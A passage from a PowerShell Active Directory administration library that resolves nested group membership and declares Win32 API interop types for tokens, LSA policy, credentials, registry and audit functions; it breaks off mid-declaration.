                  $myAndGroupsFilter += '(member={0})' -f $oneFSPDN
                }
              }

              Dispose-ADSearch ([ref] $fspFound)

              
            } else {


              DBG ('Going to search for my DN or any of my group DNs as member of a DL group: {0}' -f $trustingDomainDN)
              DBG ('Get my and my public group DNs')

              [System.Collections.ArrayList] $myAndPublicGroupSourceDNs = @($userDN)
              foreach ($oneGroup in (Obtain-ListMembers $memberList @{ 'valid' = $true; 'principalType' = 'group'; 'scope' = { ($__ -eq 'global') -or ($__ -eq 'universal') } })) { 
              
                DBGIF $MyInvocation.MyCommand.Name { $oneGroup.foreign } # impossible to be member of a foreign security principal
                
                [void] $myAndPublicGroupSourceDNs.Add($oneGroup.realDN)
              }

 
              $myAndGroupsFilter = ''
              foreach ($onePublicDN in $myAndPublicGroupSourceDNs) { $myAndGroupsFilter += '(member={0})' -f $onePublicDN }
            }

            
            if (Is-ValidString $myAndGroupsFilter) {

              $srcRes = Get-ADSearch $trustingDomainDE subTree ('(&({0})(|{1}))' -f $global:ldapFltSecGroupDL, $myAndGroupsFilter) @('distinguishedName')
               
              if ($srcRes.found) {
    
                foreach ($oneRes in $srcRes.result) {

                  $memberOfDLGroupDN = GSRS $oneRes distinguishedName
                  DBG ('DL group with the direct membership found: {0}' -f $memberOfDLGroupDN)

                  $principal = Get-SecurityPrincipal $memberOfDLGroupDN
                  DBGIF $MyInvocation.MyCommand.Name { $principal.principalType -ne 'group' }

                  [void] (Add-SecurityPrincipal $memberList $principal)

                  [void] (Get-GroupMembership $memberOfDLGroupDN $memberList $true -maximum $maximum)
                }
              }

              Dispose-ADSearch ([ref] $srcRes)
            }
          }
        }
      }
    }
  }


  Dispose-List ([ref] $deList)

  DBG ('Returning members: {0}' -f (Get-CountSafe $memberList))
  return (, $memberList)
}


function global:Get-GroupMembership ([string] $groupDN, [System.Collections.ArrayList] $memberList, [bool] $reverseMemberOfProcessing, [int] $maximum = [int]::MaxValue)
# Note: $reverseMemberOfProcessing makes the function traverse memberOf attribute instead of the normal member attribute
#       Mind the fact, that memberOf is just a backlink, which may not be completelly populated on nonGC machines
#       which do not know about other forest domains' universal groups which point to our subject group
#       Thus, in case of nonGC machine, we deal with memberOf references from the single domain only
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [System.Collections.ArrayList] $deList = @()
  if (Is-Null $memberList) { $memberList = @() }

  $initialListCount = Get-CountSafe $memberList
  
  if (Is-CurrentUser -DomainAccess $true) {

    $groupDE = Get-DE $groupDN ([ref] $deList)
    DBGIF $MyInvocation.MyCommand.Name { (-not $reverseMemberOfProcessing) -and (-not (Contains-Safe $groupDE.Properties['objectClass'].Value 'group')) }

  } else {

    $groupDE = $null
    DBGIF ('You cannot evaluate DOMAIN group membership when running under a LOCAL user account: {0}' -f [Security.Principal.WindowsIdentity]::GetCurrent($false).Name) { $true }
  }


  if (Is-NonNull $groupDE) {

    [System.Collections.ArrayList] $groupMemberDNs = @()
    $groupDENC = Get-NCForObject $groupDE ([ref] $deList)


    if (-not $reverseMemberOfProcessing) {

      DBG ('Will parse through [member] attribute')

      $groupMembers = $groupDE.Properties['member']

      if ((Get-CountSafe $groupMembers) -gt 0) {

        if ((Get-CountSafe $groupMembers) -eq 1) {
       
          [void] $groupMemberDNs.Add($groupMembers.Value)

        } else {

          $groupMemberDNs.AddRange($groupMembers.Value)
        }

        DBG ('Group with own members: {0} | {1}' -f (GDES $groupDE sAMAccountName), (Get-CountSafe $groupMemberDNs))
      }

      
      $groupID = GDES $groupDE primaryGroupToken
      if (Is-ValidString $groupID) {

        # primaryGroupId is indexed on all versions
        $srcRes = Get-ADSearch $groupDENC 'subTree' ('(primaryGroupId={0})' -f $groupID) 'distinguishedName'

        if ($srcRes.found) {
    
          #$srcRes[1] = $srcRes[0].FindAll()
          foreach ($oneRes in $srcRes.result) {
      
            $oneDN = GSRS $oneRes distinguishedName
        
            if (Is-ValidString $oneDN) {
         
              [void] $groupMemberDNs.Add($oneDN)
            }
          }

          DBG ('Group has primaryGroup members: {0} | {1}' -f (GDES $groupDE sAMAccountName), $srcRes.result.Count)
        }

        Dispose-ADSearch ([ref] $srcRes)
      }

    } else {

      DBG ('Will parse through [memberOf] attribute in reverse order')

      $groupMembers = $groupDE.Properties['memberOf']

      if ((Get-CountSafe $groupMembers) -gt 0) {

        if ((Get-CountSafe $groupMembers) -eq 1) {
       
          [void] $groupMemberDNs.Add($groupMembers.Value)

        } else {

          $groupMemberDNs.AddRange($groupMembers.Value)
        }

        DBG ('Object referencing memberOf: {0} | {1}' -f (GDES $groupDE sAMAccountName), (Get-CountSafe $groupMemberDNs))
      }


      $primaryGroupId = GDES $groupDE primaryGroupId

      if (Is-ValidString $primaryGroupId) {

        $groupSID = GDESID $groupDE objectSID
        $primaryGroupSID = '{0}-{1}' -f $groupSID.SubString(0, $groupSID.LastIndexOf('-')), $primaryGroupID
        
        DBG ('Going to search for this object''s primaryGroupID: {0} | {1}' -f $primaryGroupId, $primaryGroupSID)

        # Note: seems like the binary conversion of the SID is not necessary
        #
        #$primaryGroupSIDobj = [System.Security.Principal.SecurityIdentifier] $primaryGroupSID
        #[byte[]] $sidBytes = New-Object byte[] $primaryGroupSIDobj.BinaryLength
        #$primaryGroupSIDobj.GetBinaryForm($sidBytes, 0)
        #$primaryGroupSIDsearch = '(objectSID=\{0})' -f [BitConverter]::ToString($sidBytes).Replace('-', '\')

        $primaryGroupDE = Find-DE $groupDENC objectSID $primaryGroupSID $null ([ref] $deList)
        $primaryGroupDN = GDES $primaryGroupDE distinguishedName

        DBG ('Found primary group of this object: {0}' -f $primaryGroupDN)
        [void] $groupMemberDNs.Add($primaryGroupDN)
      }
    }



    if ((Get-CountSafe $groupMemberDNs) -gt 0) {

      DBG ('Going through the group members: {0}' -f (Get-CountSafe $groupMemberDNs))
      foreach ($oneGroupMemberDN in $groupMemberDNs) {

        if ($memberList.Count -gt $maximum) {

          # Note: unnecessary, the Add-SecurityPrincipal method checks duplicities correctly in this case
          #if ($memberList[$memberList.Count - 1].principalType -ne 'maximumReached') {

          DBGIF ('Maximum traversed items reached: {0}' -f $maximum) { $true }
          [void] (Add-SecurityPrincipal $memberList (Define-SecurityPrincipal -principalType 'maximumReached' -valid $false))
          #}

          break
        }

        $principal = Get-SecurityPrincipal $oneGroupMemberDN

        # Note: in case we parse through memberOf, we cannot be member of anything else than a group. Hopefully.
        DBGIF $MyInvocation.MyCommand.Name { ($reverseMemberOfProcessing) -and ($principal.principalType -ne 'group') }

        if (Add-SecurityPrincipal $memberList $principal) {

          if (($principal.valid) -and (-not $principal.nonDomain) -and (-not $principal.nonSecurity)) {

            if ($principal.principalType -eq 'group') {
           
              DBG ('Found group member. Recursing inside: {0} | {1} | {2}' -f $principal.domainNetBIOS, $principal.sam, $principal.realDN)
              [void] (Get-GroupMembership $principal.realDN $memberList $reverseMemberOfProcessing -maximum $maximum)
          
            } else {

              DBG ('No further processing for non-group member: {0} | {1}' -f $principal.domainNetBIOS, $principal.sam)
            }
                   
          } else {

            DBG ('Skipping further processing of an invalid/non-domain/non-security member: {0} | {1}' -f $principal.domainNetBIOS, $principal.sam)
          }
        }
      }
    }

    else {

      DBG ('Object without own membership: {0}' -f (GDES $groupDE sAMAccountName))
      DBGIF $MyInvocation.MyCommand.Name { -not (Contains-Safe $groupDE.objectClass 'group') } # users must have valid primaryGroupID in case of reverse order processing
    }
  }

  Dispose-List ([ref] $deList)

  DBG ('Returning members: {0} | {1}' -f $initialListCount, (Get-CountSafe $memberList))
  return (, $memberList)
}


function global:Define-Win32Api ()
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  $win32api = @"
    using System;
    using System.Runtime.InteropServices;

    namespace Sevecek.Win32Api {

      [StructLayout(LayoutKind.Sequential)]
      public struct LUID {

        public uint LowPart;
        public int HighPart;
      }
 

      [StructLayout(LayoutKind.Sequential)]
      public struct LUID_AND_ATTRIBUTES {

        public LUID Luid;
        public UInt32 Attributes;
      }
 

      [StructLayout(LayoutKind.Sequential)]
      public struct TOKEN_PRIVILEGES {

        public UInt32 PrivilegeCount;
        public LUID Luid;
        public UInt32 Attributes;
      }

      
      [StructLayout(LayoutKind.Sequential)]
      public struct LSA_UNICODE_STRING
      {
        public UInt16 Length;
        public UInt16 MaximumLength;
        public IntPtr Buffer;
      }

      [StructLayout(LayoutKind.Sequential)] 
      public struct LSA_ENUMERATION_INFORMATION 
      { 
        public IntPtr pSid; 
      } 
      
      [StructLayout(LayoutKind.Sequential)]
      public struct LSA_OBJECT_ATTRIBUTES
      {
        public int Length;
        public IntPtr RootDirectory;
        public LSA_UNICODE_STRING ObjectName;
        public uint Attributes;
        public IntPtr SecurityDescriptor;
        public IntPtr SecurityQualityOfService;
      }

      [StructLayout(LayoutKind.Sequential)]
      public struct POLICY_AUDIT_EVENTS_INFO
      {
        public bool AuditingMode;
        public IntPtr EventAuditingOptions;
        public Int32 MaximumAuditEventCount;
      }

      [StructLayout(LayoutKind.Sequential)]
      public struct AUDIT_POLICY_INFORMATION
      {
        public Guid AuditSubCategoryGuid;
        public int AuditingInformation;
        public Guid AuditCategoryGuid;
      }

      public class ADVAPI32 {

        public const uint SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001u;
        public const uint SE_PRIVILEGE_ENABLED            = 0x00000002u;
        public const uint SE_PRIVILEGE_REMOVED            = 0x00000004u;
        public const uint SE_PRIVILEGE_USED_FOR_ACCESS    = 0x80000000u;

        public const uint TOKEN_QUERY = 0x00000008;
        public const uint TOKEN_ADJUST_PRIVILEGES = 0x00000020;

        public const uint TOKEN_ASSIGN_PRIMARY =   0x00000001u;
        public const uint TOKEN_DUPLICATE =        0x00000002u;
        public const uint TOKEN_IMPERSONATE =      0x00000004u;
        public const uint TOKEN_QUERY_SOURCE =     0x00000010u;
        public const uint TOKEN_ADJUST_GROUPS =    0x00000040u;
        public const uint TOKEN_ADJUST_DEFAULT =   0x00000080u;
        public const uint TOKEN_ADJUST_SESSIONID = 0x00000100u;
        public const uint TOKEN_READ = (
                                          Sevecek.Win32Api.Kernel32.STANDARD_RIGHTS_READ |
                                          TOKEN_QUERY
                                       );
        public const uint TOKEN_ALL_ACCESS = (
                                                Sevecek.Win32Api.Kernel32.STANDARD_RIGHTS_REQUIRED | 
                                                TOKEN_ASSIGN_PRIMARY |
                                                TOKEN_DUPLICATE |
                                                TOKEN_IMPERSONATE |
                                                TOKEN_QUERY |
                                                TOKEN_QUERY_SOURCE |
                                                TOKEN_ADJUST_PRIVILEGES | 
                                                TOKEN_ADJUST_GROUPS | 
                                                TOKEN_ADJUST_DEFAULT |
                                                TOKEN_ADJUST_SESSIONID
                                             );

        public enum SECURITY_IMPERSONATION_LEVEL:int {

          SecurityAnonymous = 0,
          SecurityIdentification = 1,
          SecurityImpersonation = 2,
          SecurityDelegation = 3
        }


        public const UInt32 POLICY_VIEW_LOCAL_INFORMATION = 0x00000001u;
        public const UInt32 POLICY_VIEW_AUDIT_INFORMATION = 0x00000002u;                         
        public const UInt32 POLICY_GET_PRIVATE_INFORMATION = 0x00000004u;                         
        public const UInt32 POLICY_TRUST_ADMIN = 0x00000008u;                         
        public const UInt32 POLICY_CREATE_ACCOUNT = 0x00000010u;                         
        public const UInt32 POLICY_CREATE_SECRET = 0x00000020u;                         
        public const UInt32 POLICY_CREATE_PRIVILEGE = 0x00000040u;                         
        public const UInt32 POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080u;                         
        public const UInt32 POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100u;                         
        public const UInt32 POLICY_AUDIT_LOG_ADMIN = 0x00000200u;                         
        public const UInt32 POLICY_SERVER_ADMIN = 0x00000400u;                         
        public const UInt32 POLICY_LOOKUP_NAMES = 0x00000800u;                         
        public const UInt32 POLICY_NOTIFICATION = 0x00001000u;                         
        public const UInt32 POLICY_ALL_ACCESS = (
                                                 Sevecek.Win32Api.Kernel32.STANDARD_RIGHTS_REQUIRED | 
                                                 POLICY_VIEW_LOCAL_INFORMATION |                            
                                                 POLICY_VIEW_AUDIT_INFORMATION |                            
                                                 POLICY_GET_PRIVATE_INFORMATION |                            
                                                 POLICY_TRUST_ADMIN |                            
                                                 POLICY_CREATE_ACCOUNT |                            
                                                 POLICY_CREATE_SECRET |                            
                                                 POLICY_CREATE_PRIVILEGE |                            
                                                 POLICY_SET_DEFAULT_QUOTA_LIMITS |                            
                                                 POLICY_SET_AUDIT_REQUIREMENTS |                            
                                                 POLICY_AUDIT_LOG_ADMIN |
                                                 POLICY_SERVER_ADMIN |
                                                 POLICY_LOOKUP_NAMES |
                                                 POLICY_NOTIFICATION
                                                );

        public enum POLICY_AUDIT_EVENT_TYPE {
    
          AuditCategorySystem,
          AuditCategoryLogon,
          AuditCategoryObjectAccess,
          AuditCategoryPrivilegeUse,
          AuditCategoryDetailedTracking,
          AuditCategoryPolicyChange,
          AuditCategoryAccountManagement,
          AuditCategoryDirectoryServiceAccess,
          AuditCategoryAccountLogon 
        }

        public enum POLICY_INFORMATION_CLASS {

          PolicyAuditLogInformation = 1,
          PolicyAuditEventsInformation,
          PolicyPrimaryDomainInformation,
          PolicyPdAccountInformation,
          PolicyAccountDomainInformation,
          PolicyLsaServerRoleInformation,
          PolicyReplicaSourceInformation,
          PolicyDefaultQuotaInformation,
          PolicyModificationInformation,
          PolicyAuditFullSetInformation,
          PolicyAuditFullQueryInformation,
          PolicyDnsDomainInformation
        }


        public struct NativeCredential
        {
            public UInt32 Flags;
            public CRED_TYPE Type;
            public IntPtr TargetName;
            public IntPtr Comment;
            public System.Runtime.InteropServices.ComTypes.FILETIME LastWritten;
            public UInt32 CredentialBlobSize;
            public IntPtr CredentialBlob;
            public UInt32 Persist;
            public UInt32 AttributeCount;
            public IntPtr Attributes;
            public IntPtr TargetAlias;
            public IntPtr UserName;
            internal static NativeCredential GetNativeCredential(Credential cred)
            {
                NativeCredential ncred = new NativeCredential();
                ncred.AttributeCount = 0;
                ncred.Attributes = IntPtr.Zero;
                ncred.Comment = IntPtr.Zero;
                ncred.TargetAlias = IntPtr.Zero;
                ncred.Type = CRED_TYPE.GENERIC;
                ncred.Persist = (UInt32)1;
                ncred.CredentialBlobSize = (UInt32)cred.CredentialBlobSize;
                ncred.TargetName = Marshal.StringToCoTaskMemUni(cred.TargetName);
                ncred.CredentialBlob = Marshal.StringToCoTaskMemUni(cred.CredentialBlob);
                ncred.UserName = Marshal.StringToCoTaskMemUni(System.Environment.UserName);
                return ncred;
            }
        }

       [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
       public struct Credential {

          public UInt32 Flags;
          public CRED_TYPE Type;
          public string TargetName;
          public string Comment;
          public System.Runtime.InteropServices.ComTypes.FILETIME LastWritten;
          public UInt32 CredentialBlobSize;
          public string CredentialBlob;
          public UInt32 Persist;
          public UInt32 AttributeCount;
          public IntPtr Attributes;
          public string TargetAlias;
          public string UserName;
        }

        public enum CRED_TYPE : uint
        {
          GENERIC = 1,
          DOMAIN_PASSWORD = 2,
          DOMAIN_CERTIFICATE = 3,
          DOMAIN_VISIBLE_PASSWORD = 4,
          GENERIC_CERTIFICATE = 5,
          DOMAIN_EXTENDED = 6,
          MAXIMUM = 7,      // Maximum supported cred type
          MAXIMUM_EX = (MAXIMUM + 1000),  // Allow new applications to run on old OSes
        }

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern bool CredRead(string TargetName, int Type, int Flags, out IntPtr Credential);

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern void CredFree(IntPtr Credential);

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern bool DuplicateToken(IntPtr ExistingTokenHandle, int ImpersonationLevel, out IntPtr DuplicateTokenHandle);

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern bool SetThreadToken(IntPtr Thread, IntPtr Token);

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern bool RevertToSelf();

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, UInt32 BufferLengthInBytes, IntPtr PreviousStateNull, IntPtr ReturnLengthInBytesNull);

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern bool OpenThreadToken(IntPtr ThreadHandle, UInt32 DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern bool LogonUser(string lpszUsername, string lpszDomain, string lpszPassword, int dwLogonType, int dwLogonProvider, out IntPtr phToken);

        public enum SID_NAME_USE
        {
            SidTypeUser = 1,
            SidTypeGroup = 2,
            SidTypeDomain = 3,
            SidTypeAlias = 4,
            SidTypeWellKnownGroup = 5,
            SidTypeDeletedAccount = 6,
            SidTypeInvalid = 7,
            SidTypeUnknown = 8,
            SidTypeComputer = 9
        }


        public const UInt32 HKEY_LOCAL_MACHINE = 0x80000002u;
        public const UInt32 HKEY_CURRENT_USER = 0x80000001u;

        public const int KEY_ALL_ACCESS = 0xF003F;   
        public const int KEY_CREATE_LINK = 0x20;   
        public const int KEY_CREATE_SUB_KEY = 0x4;   
        public const int KEY_ENUMERATE_SUB_KEYS = 0x8;   
        public const int KEY_EXECUTE = 0x20019;   
        public const int KEY_NOTIFY = 0x10;   
        public const int KEY_QUERY_VALUE = 0x1;   
        public const int KEY_READ = 0x20019;   
        public const int KEY_SET_VALUE = 0x2;   
        public const int KEY_WRITE = 0x20006;   

        public const int REG_NONE = 0;
        public const int REG_SZ = 1;   
        public const int REG_EXPAND_SZ = 2;   
        public const int REG_BINARY = 3;   
        public const int REG_DWORD = 4;   
        public const int REG_DWORD_LITTLE_ENDIAN = 4;   
        public const int REG_DWORD_BIG_ENDIAN = 5;   
        public const int REG_LINK = 6;   
        public const int REG_MULTI_SZ = 7;   
        public const int REG_RESOURCE_LIST = 8;   
        public const int REG_FULL_RESOURCE_DESCRIPTOR = 9;   
        public const int REG_RESOURCE_REQUIREMENTS_LIST = 10;   
        public const int REG_QWORD_LITTLE_ENDIAN = 11;

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern Int32 RegOpenKey(
          UIntPtr hKey,
          System.Text.StringBuilder lpSubKey,
          ref IntPtr phkResult
          );

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern Int32 RegOpenKeyEx(
          UIntPtr hKey,
          System.Text.StringBuilder lpSubKey,
          int ulOptions,
          int samDesired,
          ref IntPtr phkResult
          );

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern Int32 RegQueryInfoKey(
          IntPtr hKey, // Note: this should be Microsoft.Win32.SafeHandles.SafeRegistryHandle, but PowerShell 2.0 has an error: [SafeRegistryHandle] is inaccessible due to its protection level, Inconsistent accessibility
          System.Text.StringBuilder lpClass,
          [In, Out] ref UInt32 lpcbClass,
          UInt32 lpReserved,
          out UInt32 lpcSubKeys,
          out UInt32 lpcbMaxSubKeyLen,
          out UInt32 lpcbMaxClassLen,
          out UInt32 lpcValues,
          out UInt32 lpcbMaxValueNameLen,
          out UInt32 lpcbMaxValueLen,
          out UInt32 lpcbSecurityDescriptor,                
          out System.Runtime.InteropServices.ComTypes.FILETIME lpftLastWriteTime
          );

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern int RegCloseKey(IntPtr hKey);

        [DllImport("advapi32.dll", SetLastError=true, CharSet = CharSet.Unicode)]
        public static extern int RegQueryValueEx(
          IntPtr hKey,
          string lpValueName,
          int lpReserved,
          IntPtr type,
          IntPtr lpData,
          ref int lpcbData
          );

        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Auto)]
        public static extern int RegSetValueEx(
          IntPtr hKey,
          [MarshalAs(UnmanagedType.LPWStr)] string lpValueName,
          int Reserved,
          uint dwType,
          IntPtr lpData,
          int cbData
          );

        [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
        public static extern uint LsaRetrievePrivateData(IntPtr PolicyHandle, ref LSA_UNICODE_STRING KeyName, out IntPtr PrivateData);

        [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
        public static extern uint LsaStorePrivateData(IntPtr policyHandle, ref LSA_UNICODE_STRING KeyName, ref LSA_UNICODE_STRING PrivateData);

        [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
        public static extern uint LsaOpenPolicy(ref LSA_UNICODE_STRING SystemName, ref LSA_OBJECT_ATTRIBUTES ObjectAttributes, uint DesiredAccess, out IntPtr PolicyHandle);

        [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
        public static extern uint LsaNtStatusToWinError(uint Status);

        [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
        public static extern uint LsaClose(IntPtr PolicyHandle);

        [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
        public static extern uint LsaFreeMemory(IntPtr Buffer);

        [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
        public static extern uint LsaQueryInformationPolicy(IntPtr PolicyHandle, uint InformationClass, out IntPtr Buffer);

        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 
        public static extern uint LsaEnumerateAccountsWithUserRight( 
                                    IntPtr PolicyHandle,
                                    LSA_UNICODE_STRING[] UserRights,
                                    out IntPtr EnumerationBuffer,
                                    out ulong CountReturned
                                    );

        [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
        public static extern bool AuditLookupCategoryGuidFromCategoryId(
                                    POLICY_AUDIT_EVENT_TYPE AuditCategoryId,
                                    IntPtr AuditCategoryGuid
                                    );

        [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
        public static extern bool AuditEnumerateSubCategories(
                                    IntPtr AuditCategoryGuid,
                                    bool RetrieveAllSubCategories,
                                    out IntPtr AuditSubCategoriesArray,
                                    out uint CountReturned // Note: C++ ULONG is 4 Bytes
                                    );

        [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
        public static extern bool AuditQuerySystemPolicy(
                                    IntPtr SubCategoryGuids,
                                    uint PolicyCount, // Note: C++ ULONG is 4 Bytes
                                    out IntPtr AuditPolicy
                                    );

        [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
        public static extern bool AuditLookupSubCategoryName(
                                    IntPtr AuditSubCategoryGuid,
                                    out IntPtr SubCategoryName
                                    );

        [DllImport("advapi32.dll", CharSet = CharSet.Auto, PreserveSig = true)]
        public static extern void AuditFree(IntPtr Buffer);
      }

      public class Kernel32 {

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern bool CopyFile(string lpExistingFileName, string lpNewFileName, bool bFailIfExists);

        [DllImport("kernel32.dll", SetLastError=true, ExactSpelling = true)]
        public static extern IntPtr GetCurrentProcess();

        public const uint DELETE =       0x00010000;
        public const uint READ_CONTROL = 0x00020000;
        public const uint WRITE_DAC =    0x00040000;
        public const uint WRITE_OWNER =  0x00080000;
        public const uint SYNCHRONIZE =  0x00100000;
        public const uint STANDARD_RIGHTS_ALL = (
                                                    READ_CONTROL |
                                                    WRITE_OWNER |
                                                    WRITE_DAC |
                                                    DELETE |
                                                    SYNCHRONIZE
                                                );
        public const uint STANDARD_RIGHTS_REQUIRED = 0x000F0000u;
        public const uint STANDARD_RIGHTS_READ = 0x00020000u;

        public const uint FILE_SHARE_READ = 1;
        public const uint FILE_SHARE_WRITE = 2;
        public const uint FILE_SHARE_DELETE = 4;

        public const uint CREATION_DISPOSITION_CREATE_NEW = 1;
        public const uint CREATION_DISPOSITION_CREATE_ALWAYS = 2;
        public const uint CREATION_DISPOSITION_OPEN_EXISTING = 3;
        public const uint CREATION_DISPOSITION_OPEN_ALWAYS = 4;
        public const uint CREATION_DISPOSITION_TRUNCATE_EXISTING = 5;

        public const uint FILE_FLAG_BACKUP_SEMANTICS = 0x02000000;
        public const uint FILE_FLAG_DELETE_ON_CLOSE = 0x04000000;
        public const uint FILE_FLAG_NO_BUFFERING = 0x20000000;
        public const uint FILE_FLAG_OPEN_NO_RECALL = 0x00100000;
        public const uint FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000;
        public const uint FILE_FLAG_OVERLAPPED = 0x40000000;
        public const uint FILE_FLAG_POSIX_SEMANTICS = 0x0100000;
        public const uint FILE_FLAG_RANDOM_ACCESS = 0x10000000;
        public const uint FILE_FLAG_SESSION_AWARE = 0x00800000;
        public const uint FILE_FLAG_SEQUENTIAL_SCAN = 0x08000000;
        public const uint FILE_FLAG_WRITE_THROUGH = 0x80000000;

        public const uint PROCESS_TERMINATE =                 0x0001;
        public const uint PROCESS_CREATE_THREAD =             0x0002;
        public const uint PROCESS_VM_OPERATION =              0x0008;
        public const uint PROCESS_VM_READ =                   0x0010;
        public const uint PROCESS_VM_WRITE =                  0x0020;
        public const uint PROCESS_DUP_HANDLE =                0x0040;
        public const uint PROCESS_CREATE_PROCESS =            0x0080;
        public const uint PROCESS_SET_QUOTA =                 0x0100;
        public const uint PROCESS_SET_INFORMATION =           0x0200;
        public const uint PROCESS_QUERY_INFORMATION =         0x0400;
        public const uint PROCESS_SUSPEND_RESUME =            0x0800;
        public const uint PROCESS_QUERY_LIMITED_INFORMATION = 0x1000;
        public const uint PROCESS_ALL_ACCESS = (
                                    STANDARD_RIGHTS_ALL |
                                    PROCESS_CREATE_PROCESS |
                                    PROCESS_CREATE_THREAD |
                                    PROCESS_DUP_HANDLE |
                                    PROCESS_QUERY_INFORMATION |
                                    PROCESS_QUERY_LIMITED_INFORMATION |
                                    PROCESS_SET_INFORMATION |
                                    PROCESS_SET_QUOTA |
                                    PROCESS_SUSPEND_RESUME |
                                    PROCESS_TERMINATE |
                                    PROCESS_VM_OPERATION |
                                    PROCESS_VM_READ |
                                    PROCESS_VM_WRITE
                                               );

        public const int IOCTL_DISK_GET_DISK_ATTRIBUTES = 0x000700f0;
        public const int DISK_ATTRIBUTE_OFFLINE =         0x00000001;
        public const int DISK_ATTRIBUTE_READ_ONLY =       0x00000002;

        public struct GET_DISK_ATTRIBUTES
        {
          public UInt32 Version;
          public UInt32 Reserved1;
          public UInt64 Attributes;
        }

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern bool DeviceIoControl(IntPtr hDevice, uint dwIoControlCode, IntPtr lpInBuffer, uint nInBufferSize, out GET_DISK_ATTRIBUTES lpOutBuffer, uint nOutBufferSize, out uint lpBytesReturned, IntPtr lpOverlapped);
 
        [DllImport("kernel32.dll", SetLastError=true, ExactSpelling = true)]
        public static extern IntPtr OpenProcess(uint DesiredAccess, bool InheritHandle, int ProcessId);

        [DllImport("kernel32.dll", SetLastError=true, ExactSpelling = true)]
        public static extern IntPtr GetCurrentThread();

        [DllImport("Kernel32.dll", SetLastError=true)]
        public static extern bool CloseHandle(IntPtr handle);

        [DllImport("Kernel32.dll")]
        public static extern uint GetLastError();

        [DllImport("Kernel32.dll")]
        public static extern void SetLastError(int errCode);

        [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern IntPtr CreateFile(
              string fileName,
              UInt32 desiredAccess,
              UInt32 shareMode,
              IntPtr securityAttributes,
              UInt32 creationDisposition,
              UInt32 flagsAndAttributes,
              IntPtr templateFile
              );

        [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern bool FlushFileBuffers(IntPtr hFile);

        [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern IntPtr CreateDirectory(
              string pathName,
              IntPtr securityAttributes
              );

        [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern bool CreateSymbolicLink(string lpSymlinkFileName, string lpTargetFileName, int dwFlags);

        [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern int GetFinalPathNameByHandle(IntPtr hFile, [In, Out] [MarshalAs(UnmanagedType.LPTStr)] System.Text.StringBuilder lpszFilePath, uint cchFilePath, uint dwFlags);
      }

      public class NtDll {

        [DllImport("ntdll.dll", EntryPoint="RtlAdjustPrivilege")]
        public static extern int RtlAdjustPrivilege(
                    uint Privilege, // Note: C++ ULONG is 4 Bytes
                    bool Enable, 
                    bool CurrentThread, 
                    ref bool Enabled
                    );
      }

      public class User32
      {
        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);

        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto, ExactSpelling = true)]
        public static extern short GetAsyncKeyState(int virtualKeyCode);

        // Does not work as expected here in C#
        // While within PowerShell it is like charm
        [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        [return: MarshalAs(UnmanagedType.Bool)]
